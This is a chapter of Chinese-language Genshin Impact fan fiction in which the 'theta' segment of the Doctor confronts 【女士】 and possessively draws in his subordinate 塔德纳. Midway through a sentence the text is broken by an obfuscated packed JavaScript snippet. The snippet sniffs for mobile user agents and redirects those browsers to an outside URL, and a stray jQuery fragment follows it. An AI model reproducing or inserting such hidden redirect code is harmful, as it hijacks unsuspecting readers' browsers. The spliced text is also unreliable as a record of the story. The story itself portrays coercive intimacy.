97.第 97 章

但【女士】最终还是维持住了自己的表情。


“【博士】?你不是应该在城外的实验室吗?不,”【女士】顿了一下,“你看起来似乎和之前有些不太一样。”


“我和他很像吗?”theta突然如此问道。


“哈……什么意思?你是在问我?”


我感受到theta身上的气息沉冷了一些,硬是要形容的话,就像是突然生气了一样。


那点冷意隐藏地极深,也消逝地很快,即使是在theta身边最近的我,也恍然觉得那像是一阵幻觉一般。


theta很快恢复了正常。


“不,当我没有问过这个问题吧。我早就知道的,我早该知道的,除了塔德纳……”


theta之后的咬字过于模糊,也过于轻。


【女士】皱了皱眉:“你不是之前来蒙德的【博士】?怎么回事,【博士】从来没和我商量过还会有另外的‘他’来蒙德。”


气氛开始变得有些糟糕。


我不清楚为什么theta切片好像突然变得有些失控,但现在对我而言更重要的是赶紧安抚现在的状况。


我从theta切片的怀里挣脱出来,theta反射地收紧力气想要让我待在原地,我拍了拍theta切片的手臂,然后伸手将自己的手掌与theta的相合。


theta稍微冷静下来一点。


我对theta露出一个笑容,带着一点安抚。


随即就这样保持着握住的姿态转头向【女士】。


“抱歉,【女士】大人。因为时间紧急没来得及向您禀报这件事情,是我作为副官的工作疏忽。我会尽快将情况与您对接的,还请您放心,主人并没有打搅您在蒙德行动的意思。”


【女士】的神色缓和了一点。


“不,我并不是说这点。反正女皇的任务我也早已经完成了,很快就会返回至冬,之后无论蒙德发生什么事都不在我该思考的范围之内了。”


“我对你出现在蒙德的目的不感兴趣,你当然也可以继续保持你那一贯的‘神秘人’风格。不过,仅是出于我个人的观点和立场的话,我会更想要提醒塔德纳一句话——‘小心点’。”


“你认为我会伤到塔德纳?”


“难道不是吗?我的怀疑合情合理,你,或者说你们,一贯的行事风格就是如此。”


“当然当然,”theta突兀地笑起来,“你的怀疑自然也并非毫无道理。我的那些‘同位体’,偶尔的手段即使是我也不敢再多苟同。这其中也包括‘本体’,自然。”


theta的反应出乎意料。


这其中自然包括【女士】。【女士】有些不定地打量了theta一眼。


“看来,你和其他的那些【博士】不太相同。”


不知道是哪里戳中了theta的好点,theta似乎一下子变得轻快了很多。这包括面对【女士】时的态度。


“难得正确的言论。我要开始思考‘他们’对你的评价了。”theta说道。


【女士】:“……傲慢自大的家伙。”


这场执行官之间短暂的会晤就这样突然地结束。


直到【女士】不算高兴地从我的身边走过,我被身边的theta拽了一下。


“主人?”我不确定地叫了一声。


“除我之外的人,都没有必要理会。”


“什么……”


我的身体在被拉拽后失去了平衡,在倒地之前被theta又捞回怀里,成了那个别扭的样子。


theta拥着我,双臂的力气大得好像要把中间我的夹碎一般。


我有些喘不过气来。


“等等,主人,我有点喘不过气……”


但话语很快被吞进theta的嘴里,舌头抵着进去,半丝挣扎的空间都不留给我,远比前一次还要急促。


大脑变得昏昏沉沉的。


我讨厌这种感觉,因为一旦变得昏沉,对周围一切的环境和刺激都会变得迟钝。但每次被拉扯着进入欲望的愉悦里,又都会变成这副我不太喜欢的样子。


但又很奇怪的是,我其实无法抗拒,无法拒绝被这样做。


在要完全昏沉过去的时候,theta及时停了下来。


他退出来,一缕银丝牵扯出来。theta用手指抹去,看了眼那水光柔亮的指腹,发出一声笑来。


“真是,可爱的反应。”


theta如此说着,将指腹的湿润抹在我的侧脸上。


我有些嫌弃地皱了皱眉。


theta的食指稍微弯曲,勾成一个轻微的弧状,指骨在我的额头敲了一下,发出一声脆响。


“把你养得矫情了。”


——明明我一直都是待在多托雷身边。


我刚想要如此回怼一句,但脑海里又很快浮现起刚才theta在面对【女士】提起多托雷时有些不妙的表情,只能将这样的冲动压抑下来,当成什么都没想过。


理智告诉我,现在在theta面前提起多托雷绝对不会有好结果。


于是我只能去问:“主人,所以您来蒙德到底是来干什么的?你说过会告诉我的。”


“‘告诉’?当然,我当然会告诉你的,塔德纳。”


theta的语气莫名。


我有种不好的预感。


“关于我此次被叫来蒙德的目的,或许,你应该从‘本体’那里有所听闻,他关于‘邪眼计划’的部分?”


邪眼……


计划?


“我,我没有……听说过。”


“看来‘本体’对你的防备超出了我的预料范围。”theta有些惊奇地看了我一眼,“真是稀奇,我以为‘本体’只会对‘我们’这样提防。”


theta若有所思:“大概,‘本体’是在担心计划遭到破坏吧。毕竟,这其实并不在一开始的明面计划中。若是要说,只是一次‘演练’,或者说是‘预测’。你应该知道稻妻预计的要‘推广邪眼’的计划。”


“是……”我的喉咙有些干涩,大脑像是被一公斤的干稻草给塞满了。


“但是,主人没有说过,在蒙德会有……”


“‘本体’在担心你会扰乱计划。这显而易见。”


theta笑起来。他像是一位真正的侦探一样,开始推理。尽管被推理的另一方也同样是‘他’。


theta摊了摊手:“毕竟,你和西风骑士团的关系似乎好得过头了,加上……”


他的尾指勾搭起我耳垂上的耳坠。


“无论是乐意的,或是不乐意的,私人的,或是公有的,都彻底失去屏障,被曝光,被随意查看。‘本体’对‘我们’防得紧巴巴,即使是‘我们’都是如此,又何谈你和那些人的接触?”


“因为你之前接近Alpha切片,‘本体’禁止了Alpha再回到至冬,而Beta切片,在对你的态度上陷入自相矛盾和纠结的境地后,也被‘本体’驱逐。剩下的……”


theta俯身,湿热的气息扫过我的耳廓,激起一阵涟漪。


“就算是‘我’,也被数次警告过。”


“Alpha……切片……”我喃喃地低声重复着。


那位少年的切片,代号为Alpha的切片。


我已不知道多久再没见到他了,甚至在Alpha离开后,再也没有思考谈及过。如今再次听到这个代号,甚至觉得有些陌生。


theta有些幽怨:“有这么喜欢Alpha吗,明明只是一个没有成熟的小鬼。”


他凑近我的脖颈,在上面寻找摩挲着,略尖的牙齿抵在颈侧的血管上跃跃欲试。


“塔德纳,还有我啊。我从‘本体’那里经受的一切,被明令禁止不许主动和你再接触,不能去找你,不能够,对你做出任何□□精神上的改变或者影响……‘本体’那样讨厌‘我们’,我忍着不去违背命令,已经快忍得发疯了。”


theta的纠缠就像是一条冰冷的毒蛇,吐着信子。


即使冰冷,单眼望过去又只觉得湿热,黏糊糊的,黑泥似的缠上来包裹住。


以至于那最后一点透气的孔也被阻塞。


我开始感到窒息,一种迫切想要离开的危机感席卷我。


“不……theta,主人,我,我不知道也没关系的,我只是……只需要……完成命令……只需要完成命令就可以了,我不应该,不是,可以不知道……”


“可是,‘本体’以前从不会在这种事情上隐瞒你,不是吗?”


那毒蛇又缠绕上来,甚至更紧了。


“‘我’也是名为‘多托雷’的一部分,但我会将所有的一切都告诉你。塔德纳,只要你想知道,我就永远不会隐瞒你。你是远胜这颗能源装置支撑我生命的根源。”


theta牵着我的手,将我的手掌放在他的胸口,掌心紧紧贴合着下面的肉.体。


那里是能源装置的所在之处,就和omega切片当时胸口的洞口一样的位置。


但与omega切片,与其他任何切片,甚至是与多托雷都不一样的是,theta切片的胸口是在起伏着的,那是他刻意伪造出来的人类身体的特征,无


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256072|159613||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


论是温度,起伏,搏动,都无可挑剔。


甚至,在我的手掌贴合上的时候,那其下的搏动像是真正的心脏随之喜悦地跳动更快。


嗵——嗵——嗵。


像擂鼓。


像是被烫到一般,我收回手,思绪紊乱。


“我……”


我像是突然丧失了语言系统的控制权。


theta:“还是说,你也认同‘本体’的做法?”


“我不知道……不要问我,不要问我这些……”


“即使是被毫不顾忌地忽略,被毫不顾忌地使用后,也落得个被处处防备的下场。甚至连‘狗’也算不上了,没人会对‘狗’刻意隐瞒……”


“不要再说了!”


我猛地推开theta,热量脱离的一瞬间身体稍微轻松了一瞬间。


周围缄静了几秒。


半晌,theta长叹了口气。


“怎么这就哭了。”他用手指撇开我眼角上的泪水。


我再也坚持不住,忍不住抓住theta的手臂,把自己塞进那温暖的,如同最为正常的正常人的怀抱里。


我压缩着自己,直到自己被属于theta的暖意彻底包裹,要渗透进去,鼻尖全是theta的气息才放过自己。


我感到惶恐。


由心底而发的,对自己内心的低劣的惶恐。


我不得不承认,我竟然是在内心对“多托雷对我隐瞒蒙德的计划”的这件事感到无法自抑的失落和悲伤的。


似乎在经历过几百年与多托雷的相处,被所有人都当成“多托雷身边最亲近的副官”后,连自己都开始入脑了。


我不得不承认,被抬到这样的位置,我的内心也是真的为此感到熟悉和欢欣的。


为自己在多托雷身边,所有人都能一眼看出的独一无二。


但理性而言,多托雷没有必要对我事无巨细不是吗?


我只是一条狗而已。


一条被“过于娇养”的狗。


若是哪天连狗也算不上了,不让做了,那也只是我该去接受的事实,哪里该是我去不忿伤心的。


可是,那点无法自已的委屈像是毛球一样越来越大,从小水滴变成了河流,拦都拦不住。


我紧紧地抱着theta,背后来自theta安抚性的抚摸只会让我觉得越来越空虚,越来越不安,越来越委屈。


心中压抑的念头开始扩大——


明明,这一切,都是多托雷。


是多托雷纵了我,又圈了我。


所以,他又怎么能,怎么能对我烦弃。


可是……


可是这样的念头明明这么卑劣,这么不讲道理,这么……低贱。


“塔德纳,你无需去质疑自己的内心。我会一直接纳你的,接纳你的需求,接纳你的一切。”


theta……


“你空虚的内心渴求着锚定的点位,渴求着深入的填满。而我,也唯有我,能够做到这件事。所以,塔德纳,遵从你的内心吧。过来这边。”


切片……


……


人永远都不可能与自己和解。


这是theta经常从其他的“自己”口中听到的话。


他们因此名正言顺地嘲讽彼此,蔑视对方,吵架,争执,否认其他人。


theta只觉得这样的声音过于嘈杂。


他和其他切片不一样。


他从一开始就知道这点。而现在,他为此感到庆幸。


“你的意思是,你比我更适合塔德纳?”


“难道不是吗?奉行理性的你,思维模式更加偏向omega切片的状态,却压抑着自己的本性,伪装我的样子。明明你也知道吧,塔德纳对你的恐惧。那样剧烈,根深蒂固,所以你才不得不,剽窃我的方式接近他,甚至捏造那些根本不存在的,温馨相识的记忆。多么卑劣可笑啊,‘本体’。”


theta自诞生以来第一次如此明晰地与自己的“创造者”对视。


“所以,将塔德纳完完全全交给我吧。按照你的坚持,你的傲慢自大,是只会让塔德纳与你渐行渐远的。而唯有这一点,我无法接受。”


多托雷轻笑一声。自上而下地,高高在上地。


他如同成年人低头观看稚儿狂妄不自知的诳语一样看向theta。


他问:“那么,与我根生本源的你,又有什么样的自信认为,你不会和我驶向同一个结局呢?”


不。


当然不会。


theta如此回答。


因为,我不是你啊。